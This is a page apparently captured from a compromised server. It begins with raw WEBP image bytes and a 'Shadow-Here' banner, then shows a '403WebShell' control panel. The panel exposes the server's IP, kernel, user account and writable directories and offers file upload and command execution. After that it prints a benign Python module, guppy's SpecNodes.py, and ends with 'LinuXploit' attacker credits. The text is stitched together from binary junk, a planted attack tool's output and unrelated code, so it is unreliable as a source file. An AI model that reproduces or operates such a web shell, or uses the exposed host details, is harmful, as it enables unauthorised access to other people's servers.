....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.126.4  /  Your IP : 216.73.216.178
Web Server : Apache
System : Linux host55.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : aeaw ( 7508)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/guppy/gsl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/guppy/gsl/SpecNodes.py
##
# Specification entity object
#
# Collects information about a particular system entity or aspect.
#
# The entity is of a general kind
# It is defined by the particular aspects defined for it
# The aspects must be 'compatible', which can be relatively checked.
# The specobject is used for:
# * generating tests
# * generating docs
# * generating help
#   * by creating docstrings
#   * by providing interactive help
#
# For test generation, it will delegate to test implementators.
# For doc generation, it will delegate to doc implementators.
#
# The functionality needed here is therefore limited.
#
#  name
#  aspects
#
# There is one predefine root
# - should we call it Universe?
#
# The name can be full, a dotted name, or the short, last part.
#
# The name is treated as an aspect.
#
# Each aspect definition has a primary kind

# Aspect kinds


from guppy.gsl.Exceptions import *


class SpecObject:
    def __init__(self, mod):
        self.mod = mod

##
# Specification environment
# Collects specifications from several files
# Maps names to specification objects


class SpecEnv:
    def __init__(self, mod):
        self.mod = mod
        self.unknown_nodes = []
        self.files = []

    def visit_default(self, node):
        print('add_unknown', node.tag)
        self.unknown_nodes.append(node)

    def visit_file(self, node):
        print('visit_file')
        file = FileEnv(self, node)
        self.files.append(file)

    def get_predefined_subjects(self, env):
        return (GuppyWorld(env),)


class FileEnv:
    def __init__(self, env, node):
        mod = env.mod
        self.mod = mod
        self.name = self.filename = node.arg
        self.subjects = {}
        for s in env.get_predefined_subjects(self):
            self.subjects[s.name] = s

        file = Subject(self, node, self.name)

        node.children_accept(file)

    def visit_aspects_of(self, node):
        name = node.arg
        subject = self.find_subject(node, name)
        subject.add_aspects(node)

    def def_subject(self, node, name, subject):
        if name in self.subjects:
            self.error_node(node, 'Redefinition of %r.' % name)
            self.error_node(self.subjects[name].node,
                            'Previous definition of %r.' % name)
        else:
            self.subjects[name] = subject

    def error_node(self, node, msg, exception=None):
        index = node.index
        lineno = index + 1
        print('%s:%s:' % (self.filename, lineno))
        print('    %r' % self.get_line(index))
        print('    %s' % msg)
        print()

    def find_subject(self, node, name):
        subject = self.subjects.get(name)
        if subject is None:
            self.error_node(node, 'No such subject: %r.' % name)
        return subject

    def get_line(self, index):
        try:
            with open(self.filename) as f:
                text = list(f.readlines())[index].rstrip()
        except Exception:
            text = None
        return text

    def get_subject(self, name):
        subject = self.subjects.get(name)
        if subject is None:
            subject = self.subjects[name] = Subject(self, name)
        return subject

    def get_aspect_subject(self, env, node):
        name = env.name+'::'+node.tag
        return self.get_subject(name)


class Subject:
    def __init__(self, file, node, name):
        self.file = file
        self.node = node
        self.name = name
        self.aspects = []

    def visit_default(self, node):
        of = node.tag.endswith('_of')
        name = node.arg
        define = name.startswith(':')
        if define:
            if of:

                self.file.error_node(node, "Both 'of' and '::'.")
            name = name[1:].strip()
        if of:
            ofsubject = self.file.find_subject(node, name)
            subject = self.new_subject_of(node, ofsubject)
        else:
            subject = Subject(self.file, node, name)
            if define:
                self.file.def_subject(node, name, subject)
        self.aspects.append(subject)
        node.children_accept(subject)

    def new_subject_of(self, node, of):
        tag = node.tag
        if tag == 'aspects_of':
            return AspectsOf(self.file, node, of)
        else:
            return SubjectOf(self.file, node, of)


class AspectsOf(Subject):
    def __init__(self, file, node, of):
        self.node = node
        self.of = of
        self.aspects = []

    def visit_default(self, node):
        self.of.visit_default(node)


class SubjectOf(Subject):
    def __init__(self, file, node, of):
        self.node = node
        self.of = of
        self.aspects = []


class GuppyWorld(Subject):
    def __init__(self, env):
        self.file = env
        self.name = "Guppy World"
        self.node = None
        self.aspects = []


##
# A node represented with argument splitted in components of the form:
# .tag: arg
# text
# ..child
# ...
# ..child
# ...
#
# @param tag the text of the first line before the colon
# @param arg the text of the first line after the colon (stripped)
# @param text the text after the the first line before the first children
# @param children the child nodes
# @param index line index
# @param src describes the source

class SpecNode(object):
    __slots__ = 'tag', 'arg', 'children', 'index', 'src'

    def __init__(self, tag, arg, children=(), index=0, src=None):
        self.tag = tag
        self.arg = arg
        self.children = tuple(children)
        self.index = index
        self.src = src

    def __repr__(self):
        return '%s(%r,%r,%r)' % (
            self.__class__.__name__, self.tag, self.arg, self.children)

    def __str__(self):
        return '%s(%r,%r,%s)' % (
            self.__class__.__name__, self.tag, self.arg,
            '(%s)' % (','.join([str(c) for c in self.children])))

    def arg_accept(self, visitor, prefix='visit_'):
        if self.arg:
            node = SpecNode('text', self.arg, (), self.index)
            node.accept(visitor, prefix)
        self.children_accept(visitor, prefix)

    def copy(self, tag=None, arg=None, children=None, index=None, src=None):
        if tag is None:
            tag = self.tag
        if arg is None:
            arg = self.arg
        if children is None:
            children = self.children
        if index is None:
            index = self.index
        if src is None:
            src = self.src
        return self.__class__(tag, arg, children, index, src)

    def children_accept(self, visitor, prefix='visit_'):
        for c in self.children:
            c.accept(visitor, prefix)

    def accept(self, visitor, prefix='visit_'):
        m = getattr(visitor, (prefix+self.tag), None)
        if m is None:
            m = getattr(visitor, (prefix+'default'), None)
            if m is None:
                msg = 'accept: unknown: %r, %r  in %r' % (
                    prefix, self.tag, visitor)
                print(msg)
                raise ValueError(msg)
                return
        m(self)

    def error(self, msg, node=None):
        if node is None:
            node = self
        node.src.error(msg, node)

    def get_text(self):
        " Get the total text of all text children, joined with and ended with '\n' "
        text = []
        for c in self.children:
            if c.tag == 'text':
                text.append(c.arg)
                if not c.arg.endswith('\n'):
                    text.append('\n')
        return ''.join(text)

    def get_arg(self):
        arg = self.arg.strip()
        if arg.startswith(':'):
            arg = arg[1:].strip()
        return arg

    def get_arglist(self):
        arg = self.arg
        if arg.startswith(':'):
            arg = arg[1:]
        names = [x.strip() for x in arg.split(',')]
        if names == ['']:
            names = []
        return names

    def get_arg_children(self):
        if self.arg:
            children = [SpecNode('text', self.arg, (), self.index, self.src)]
            children.extend(self.children)
        else:
            children = self.children
        return children

    def get_arg_rest(self, nostrip=0):
        arg = self.arg
        if not nostrip:
            arg = arg.strip()
        return arg, self.children

    def get_arg_norest(self):
        ''' Get the arg as by self.arg,
            but make sure there are no more children.
            '''
        if self.children:
            raise SyntaxError('No children nodes expected in node: %s' % self)
        return self.arg.strip()

    def get_namearg(self):
        ''' Get the argument in the form of a name
            It is the argument stripped.
            And not allowed to contain : or , or new line.
        '''
        name = self.arg.strip()
        if '\n' in name or ':' in name or ',' in name:
            raise SyntaxError('Invalid name: %r' % name)
        return name

    def split_attrs(self, tag=None, attrdict=False):
        if tag is None:
            tag = self.tag
        if attrdict:
            attrs = {}

            def addattr(tag, attr, node):
                if tag in attrs:
                    node.error('Duplicate attribute: %s' % attr)
                else:
                    attrs[tag] = attr
        else:
            attrs = []

            def addattr(tag, attr, node):
                attrs.append((tag, attr))
        children = []
        for ch in self.children:
            if ch.tag == "with":
                for opt in ch.children:
                    if opt.arg:
                        arg = opt.arg
                    else:
                        self.error('Bad attribute, no argument.', opt)
                    if opt.children:
                        self.error(
                            'Expected no children to attribute.', opt.children[0])
                    if opt.arg:
                        addattr(opt.tag, arg, opt)
            elif ch.tag[-1:] == '=':
                addattr(ch.tag[:-1], ch.arg, ch)
            else:
                children.append(ch)
        if len(children) == len(self.children):
            node = self
        else:
            node = self.__class__(
                tag, self.arg, children, self.index, self.src)
        return node, attrs


class Source:
    def __init__(self, name, lines=None, string=None, nostrip=0, debug=0, max_errors=10):
        self.filename = name
        self.lines = lines
        self.string = string
        self.nostrip = nostrip
        self.debug = debug
        self.error_reports = []
        self.max_errors = max_errors
        self.num_warnings = 0
        self.num_errors = 0

    def errmsg_context(self, context):
        linetext = ''
        filename = '<unknown file>'
        if context is not None:
            if hasattr(context, 'index'):
                index = context.index
                src = context.src
            else:
                index = context
                src = self
            if src is not None:
                filename = src.filename
                linetext = src.get_line(index=index)
            print('%s:%s:' % (filename, index+1))
            if linetext:
                print('    %s' % linetext)

    def error(self, message, context=None, exception=None, more=(), harmless=0):
        self.error_reports.append(
            (message, context, exception, more, harmless))
        if harmless:
            self.num_warnings += 1
        else:
            self.num_errors += 1

        self.errmsg_context(context)
        if harmless:
            print('*   %s' % message)
        else:
            print('*** %s' % message)
        print()

        for msg, ctx in more:
            self.errmsg_context(ctx)
            print('    %s' % msg)
            print()

        if self.debug:
            import pdb
            pdb.set_trace()
        else:
            if self.num_errors >= self.max_errors:
                raise TooManyErrors('Too many errors, giving up')
            if exception is not None:
                raise exception

    def get_line(self, index):
        if self.lines is None:
            if self.string is None:
                if self.filename:
                    try:
                        with open(self.filename) as f:
                            self.string = f.read()
                    except Exception:
                        return ''
                else:
                    return ''
            self.lines = self.string.split('\n')
        return self.lines[index]


class _GLUECLAMP_:

    _chgable_ = 'nodemap', 'SpecNode'

    _imports_ = (
        '_parent:DottedTree',
        '_root:re',
        '_root:os',
    )

    node_aliases_defs = (
        ('attr', 'attribute'),
        ('c', 'comment'),
        ('cond', 'condition'),
        ('d', 'description'),
        ('dwh', 'description_with_header'),
        ('eg', 'example'),
        ('fop', 'function_operator'),
        ('iop', 'inplace_operator'),
        ('ka', 'key_arg'),
        ('op', 'operator'),
        ('rop', 'reverse_operator'),
        ('t', 'text'),
    )

    def _get_node_aliases(self):
        return dict(self.node_aliases_defs)

    def _get_reverse_node_aliases(self):
        # Used to make names shorter
        return dict([(v, k) for k, v in self.node_aliases_defs])

    def _get_is_not_ascii(self):
        return self.re.compile(eval(r'u"[\u0080-\uffff]"')).search

    ##
    # @return A tuple of predefined subjects.

    def get_predefined_subjects(self):
        return (GuppyWorld(self),)

    ##
    # Parses a file and makes a tree of nodes
    # @param file name of file containing a dotted tree
    # @return a SpecNode object
    # @more
    # First tag is special.
    # We don't interpret the first line of the file,
    # but uses a special file tag.

    def node_of_file(self, file, nostrip=0):
        src = Source(name=file, nostrip=nostrip)
        dtree = self.DottedTree.parse_file(file, src)
        tag = 'file'
        arg = file
        text = dtree.tag.strip()
        children = self.nodes_of_dforest(dtree.children, src)
        index = dtree.index
        return self.node_of_tatci(tag, arg, text, children, index, src)

    def node_of_string(self, string, name='<string>', nostrip=0):
        dtree = self.DottedTree.parse_string(string)
        tag = 'string'
        arg = name
        src = Source(name=name, string=string, nostrip=nostrip)
        text = dtree.tag.strip()
        index = dtree.index
        children = self.nodes_of_dforest(dtree.children, src)
        return self.node_of_tatci(tag, arg, text, children, index, src)

    def node_of_dtree(self, dtree, src):
        tag = dtree.tag
        textpos = tag.find('\n')
        if textpos == -1:
            textpos = len(tag)

        equpos = tag.find('=', 0, textpos)
        colonpos = tag.find(':', 0, textpos)
        if equpos != -1 and (colonpos == -1 or equpos < colonpos):
            tag, arg = (tag[:equpos].strip()+'=',
                        tag[equpos+1:].strip())
        else:
            if colonpos == -1:
                if not ' ' in tag[:textpos] or textpos >= len(tag.rstrip()):
                    colonpos = textpos
                else:
                    raise SyntaxError(
                        'No colon in spaced tag in node %s' % dtree)
            tag, arg = (tag[:colonpos].strip(),
                        tag[colonpos+1:]
                        )
        if tag in self.node_aliases:
            tag = self.node_aliases[tag]
        tag = tag.replace(' ', '_')
        if tag != 'text' and not src.nostrip:
            arg = arg.strip()

        children = self.nodes_of_dforest(dtree.children, src)
        return self.node_of_taci(tag, arg, children, dtree.index, src)

    def nodes_of_dforest(self, dforest, src):
        onodes = [self.node_of_dtree(c, src) for c in dforest]
        nodes = []
        for node in onodes:
            if node.tag != 'include':
                nodes.append(node)
                continue
            filename = node.arg.strip()
            filename = self.os.path.join(self.os.path.dirname(src.filename),
                                         filename)
            node = self.node_of_file(filename, nostrip=src.nostrip)
            nodes.extend(node.children)
        return tuple(nodes)

    def _get_node_of_taci(self):
        return SpecNode

    def node_of_tatci(self, tag, arg, text, children=(), index=0, src=None):
        if text:
            if tag == 'text':
                if arg:
                    arg = arg + '\n' + text
                else:
                    arg = text
            else:
                children = (self.node_of_taci(
                    'text', text, (), index, src),) + children
        return self.node_of_taci(tag, arg, children, index, src)

    def node_of_text(self, text):
        # Returns a node that is either
        # - a 'text' node, if text was all ascii
        # - a 'char' node, if text was a single non-ascii
        # - a 'block' with children being a sequence of char and text nodes,
        #       if text contained ascii and non-ascii characters
        nodes = self.nodes_of_text(text)
        if len(nodes) == 1:
            return nodes[0]
        else:
            return self.node_of_taci('block', '', nodes)

    def nodes_of_text(self, text):
        # Returns a sequence of nodes, encoding text.
        nodes = []
        if self.is_not_ascii(text):
            chars = []
            for char in text:
                no = ord(char)
                if no < 128:
                    chars.append(char)
                else:
                    if chars:
                        nodes.append(self.node_of_taci('text', ''.join(chars)))
                        chars = []
                    nodes.append(self.node_of_taci('char', str(no)))
            if chars:
                nodes.append(self.node_of_taci('text', ''.join(chars)))
        else:
            nodes.append(self.node_of_taci('text', text))
        return nodes

    def main(self):
        root = self._root

        specdir = root.os.path.join(
            root.os.path.dirname(root.os.path.realpath(__file__)),
            '../../specs')
        main_dt_name = root.os.path.join(specdir, "docexample.gsl")
        if not root.os.path.exists(main_dt_name):
            print('%s does not exist, skipping test' % main_dt_name)
            return

        env = self.SpecEnv(self)

        node = self.node_of_file(main_dt_name)
        node.accept(env)

    def print_doc(self, dt):
        self.print_doc()

    def unparse_head(self, level, tag, arg, text):
        head = tag
        if arg:
            head = head + ': ' + arg
        if text:
            head = head + '\n' + text
        tag = self.DottedTree.unparse_tag(level, head)
        return tag


def test_main():
    from guppy import Root
    root = Root()

    root.guppy.gsl.SpecNodes.main()

Youez - 2016 - github.com/yon3zu
LinuXploit